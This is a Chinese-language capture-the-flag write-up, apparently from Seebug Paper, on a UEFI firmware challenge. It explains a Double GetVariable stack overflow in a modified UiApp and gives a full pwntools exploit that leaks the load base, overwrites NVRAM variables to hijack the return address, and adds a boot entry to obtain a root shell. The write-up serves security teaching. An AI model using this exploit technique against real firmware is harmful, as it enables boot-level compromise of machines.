从一道题入门 UEFI PWN
2022-11-10 11:30:0 Author: paper.seebug.org(查看原文) 阅读量:27 收藏

作者:[email protected]知道创宇404实验室
日期:2022年11月10日

周末的时候打了n1ctf,遇到一道uefi相关的题目,我比较感兴趣,之前就想学习一下安全启动相关的东西,这次正好趁着这个机会入门一下。

周天做的时候,一直卡在一个点上,没有多去找找资料属实败笔。

题目分析

先解包OVMF.fd文件,用uefi-firmware-parse这个工具:

uefi-firmware-parser -ecO ./OVMF.fd

简单看一下解包后的目录,大致判断BIOS可能在file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792或者file-df1ccef6-f301-4a63-9661-fc6030dcc880这个目录中。

通过对UiApp字符串的查找,基本判断UiApp是在volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0目录下。

连按f12进入BIOS之后,可以看到UiApp一闪而过,然后看到了熟悉的菜单,找找关键的字符串,就确定了对应的二进制文件。

现在需要修改一下启动脚本,让脚本启动OVMF.fd之后挂住,然后gdb attach进行调试。

import os, subprocess
import random

def main():
    try:
        os.system("rm -f OVMF.fd")
        os.system("cp OVMF.fd.bak OVMF.fd")
        ret = subprocess.call([
            "qemu-system-x86_64",
            "-m", str(256+random.randint(0, 512)),
            "-drive", "if=pflash,format=raw,file=OVMF.fd",
            "-drive", "file=fat:rw:contents,format=raw",
            "-net", "none",
            "-monitor", "/dev/null",
            "-s","-S",
            "-nographic"
        ])
        print("Return:", ret)
    except Exception as e:
        print(e)
        print("Error!")
    finally:
        print("Done.")

if __name__ == "__main__":
    main()

了解过操作系统的朋友们应该知道,操作系统的加载过程分为三步:BIOS固件(或者说是UEFI)的内存地址是写死的,通过BIOS加载bootloader,再通过bootloader去完成对操作系统镜像的加载。gdb attach之后,我们看到程序断在了0xfff0地址处,这个应该就是BIOS的基址了。

漏洞分析

进入UiApp之后没有直接到Boot Manager界面,而是到了菜单界面,猜测一下这是需要解题者hacker掉这个菜单,劫持控制流到BIOS中可以获取高权限shell的地方。通过查找关键字,锁定了目标程序:file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331\section0.pe

通过winchecksec查看开启的保护机制:

然后通过关键字很快就定位到了出题人加的菜单函数中,但是很烦的事情是,我发现ida不能正确识别函数参数:

反汇编之后的结果成了这个鸟样:

通过查找资料以及逆向分析,还原出了gRT这个结构体,其中有两个比较重要的成员函数:gRT->SetVariable将栈中的值写入键值对,gRT->GetVariable将键值对中的值拷贝到栈中。经过分析,大概判断是要通过gRT->GetVariable来实现栈溢出,完成对控制流的劫持。

但是溢出点在哪里呢?当时在比赛过程中一直卡在这儿,最失误的一点就是没有多google一下,一直在蒙头做题。在赛后和Mr.R师傅交流的过程中,得知这道题考察的是UEFI中一种常见的漏洞模式:Double GetVariable

漏洞原理是这样的:GetVariable在第一次从nvram取值写入栈中时,如果nvram变量的长度不为1datasize的长度会被改写为对应nvram变量的长度。第二次调用GetVariable函数时,如果对datasize未做初始化,就有可能造成溢出。

相关漏洞可以参考一下这篇文章:https://binarly.io/advisories/BRLY-2021-007/index.html。(比赛时候还是得多google一下)。

回到Encode函数,我们看到函数从N1CTF_KEY中取值写入栈,然后和buffer中的值进行异或运算。而Add函数可以重新写入nvram变量,且写入的字符串最大长度为256字节,就是说我们可以通过Add覆盖掉之前定义的N1CTF_KEY1N1CTF_KEY2N1CTF_KEY3这三个变量的值。我们覆写N1CTF_KEY1的值为a*0x1c,覆写N1CTF_KEY2的值为a*0x18+p32(boot_addr),然后设置一个nvram变量OVERFLOW,使其长度为0x11个字节,然后进入Encode函数,对OVERFLOW的值进行编码,这样第一次读取N1CTF_KEY1改写datasize,第二次读取N1CTF_KEY2就可以溢出到函数的返回地址处,劫持rip寄存器,使其跳转到boot manager的设置界面,获取root shell

这里的pwn函数就是出题人加的存在漏洞的函数,我们可以把控制流劫持到后面的else的基本块中去,然后应该可以正常进入Boot Manager的界面。

动态调试

首先要确定UiApp加载的基址,一个很好的办法是对内存中特定的指令序列进行搜索,比如说我们在ida里面找到这条指令。

第二个地址减去偏移就是程序的基址。

调试的过程中会发现一个问题:虽然winchecksec检查程序没有开启aslr,但是实际上UiApp的加载基址是在变化的。所以需要泄露.text段的一个内存地址,才能成功把返回地址覆写成boot manager对应的地址。

在调试的过程中,我发现当Add设置的字符串长度等于256个字节时,会打印出一个地址。通过多次尝试,我发现这个地址和UiApp的基址的偏移一定程度上是固定,为0x1d009c0或者0x1e009c0,通过泄露出的地址减去偏移实际上也就得到了UiApp的基址。

漏洞利用

和图形化界面进行交互,pwntools确实还存在一些问题,所以可以通过socat来进行连接。最终exp如下:

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

boot_offset = 0x235A
uiapp_offset = 0x1e009c0

DEBUG = 1
if DEBUG == 1:
    '''
    fname = "/tmp/uefi"
    os.system("cp OVMF.fd %s"%fname)
    os.system("chmod u+w %s"%fname)
    '''
    p = process([
            "qemu-system-x86_64",
            "-m", str(256+random.randint(0, 512)),
            "-drive", "if=pflash,format=raw,file=OVMF.fd",
            "-drive", "file=fat:rw:contents,format=raw",
            "-net", "none",
            "-monitor", "/dev/null",
            #"-s","-S",
            "-nographic"
        ])
else :
    p = remote("47.243.105.43","9999")

LOCAL_REMOTE = 0
if LOCAL_REMOTE:
    os.system("socat $(tty),echo=0,escape=0x03 SYSTEM:\"python ./exp.py \" 2>&1")

key_map = {
    "up":    b"\x1b[A",
    "down":  b"\x1b[B",
    "left":  b"\x1b[D",
    "right": b"\x1b[C",
    "esc":   b"\x1b^[",
    "enter": b"\r",
    "tab":   b"\t"
}

def send_key(key,times = 1):
    for _ in range(times):
        p.send(key_map[key])
        if key == "enter":
            p.recv()

def add(Keyname,Keyvalue):
    p.sendlineafter("> \n",str(1))
    p.sendlineafter('Key name:\n',Keyname)
    p.sendlineafter('Key value:\n',Keyvalue)

def delete(Keyname,Keyvalue):
    p.sendlineafter("> \n",str(2))
    p.sendlineafter('Key name:\n',Keyname)

def Encode(Keyname):
    p.sendlineafter("> \n",str(4))
    p.sendlineafter("Key name:\n",Keyname)
    p.recv()

def exp():
    # leak UiAPP address
    p.sendline("\x1b[24~"*10)
    p.sendlineafter("> \n",str(1))
    p.sendlineafter("Key name:\n","N1CTF_KEY3")
    p.sendafter("Key value:\n",'a'*256)
    p.recvuntil('Encode\n> \n')

    p.sendline(str(3))
    p.recvuntil("Key name:\n")
    p.sendline('N1CTF_KEY3')
    p.recvuntil('Value: \n')
    p.recvuntil('a'*256)
    data = p.recvuntil('\n').strip('\n')
    leak_addr,i,j = 0,0,0
    while i < len(data):
        print(data[i])
        if data[i] == "\\":
            n = int(data[i+2],16)*0x10 + int(data[i+3],16)
            i += 4
        else:
            n = ord(data[i])
            i += 1
        leak_addr += n * (0x100**j)
        j += 1

    uiapp_base_addr = leak_addr - uiapp_offset
    log.success("leak address: %s"%hex(leak_addr))
    log.success("UiApp address: %s"%hex(uiapp_base_addr))
    boot_addr = uiapp_base_addr + boot_offset
    pause()

    # statck overflow
    payload = 'a'*0x18 + p32(boot_addr)
    add("N1CTF_KEY1",payload)
    add("N1CTF_KEY2",payload)
    add("OVERFLOW",'a'*0x11)

    p.recvuntil("> \n")
    p.sendline('4')
    p.recvuntil('Key name:\n')
    p.sendline('OVERFLOW')
    # Add option,get root shell
    p.recvuntil(b"Standard PC")
    send_key("down", 3)
    send_key("enter")
    send_key("enter")
    send_key("down")
    send_key("enter")
    send_key("enter")
    send_key("down", 3)
    send_key("enter")
    p.send(b"\rrootshell\r")
    send_key("down")
    p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r")
    send_key("down")
    send_key("enter")
    send_key("up")
    send_key("enter")
    send_key("esc")
    send_key("enter")
    send_key("down", 3)
    send_key("enter")

    # root shell
    # p.sendlineafter(b"/ #", b"cat /flag")
    p.interactive()

def main():
    exp()

if __name__ == "__main__":
    main()

参考资料

https://www.anquanke.com/post/id/243007#h2-0

https://eqqie.cn/index.php/archives/1929

https://github.com/topics/uefi-pwn


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2010/


文章来源: https://paper.seebug.org/2010/
如有侵权请联系:admin#unsafe.sh